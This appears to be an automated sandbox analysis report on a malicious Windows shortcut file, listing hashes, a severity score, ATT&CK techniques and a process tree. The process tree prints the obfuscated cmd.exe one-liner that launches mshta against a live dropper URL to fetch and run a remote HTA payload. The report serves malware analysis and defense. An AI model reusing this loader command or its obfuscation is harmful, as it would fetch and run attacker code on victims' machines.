f4865b165bbc82d2397fac6f600d5dc5c1485282469f22390360fcb5e038d1f1

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 08:21

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General

Target
DOC-AWBIS0.lnk
Size 2KB
Sample260804-j9fqsavekb
SHA256 f4865b165bbc82d2397fac6f600d5dc5c1485282469f22390360fcb5e038d1f1
MD5 80153ad0d2e413dcac8526a8d430ce1e
SHA1 3539525d08376a37ac12387a740223d8372548e2
SHA512 a4964de9a63e8891b4f8b050b859cca0568798356b0f947a8dbe117d39c1fde9396de44e3d040488b9b9098fce9e66e487cb04df08b269df0fe910b0ab8b9798
TLSH
T1BD4147902FFE0194F2BB8E7699BE3B408ABBBD565E24C65D0440824D0822B01D973BA3
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3516	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3516 wrote to memory of 4924	3516	cmd.exe	85
PID 4924 wrote to memory of 2020	4924	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-AWBIS0.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3516
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D/V:on/C"set CSroM=cachehkrfcache&set uy=oldymgorcdwrgearvqobold&set pjhnS=26tmshtf&&set frIsS=qaxv&set LV=baksvufdaxjueoddqaovbak&set Hsb=cachehhhoapcache&set giv=sysaoexzsoxboqrnirntrmsys&set KUVF=bakcyabuffwffxoubbak&set Shhh=winujmgvmtvkhmwin&set oAYJR=4zdstg&&set uua=x4arp1h&&set AU=97nto7y&set Szyn=oldfajwiobwqgold&&set agx=h@tt@p@s:@//ma-pdf@f@[email protected]/@h/@e@st@a@gio1.@php?r=3@91469F@B5D@8@2DB&&start /b !pjhnS:~3,4!!frIsS:~1,1! !agx:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:2020

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads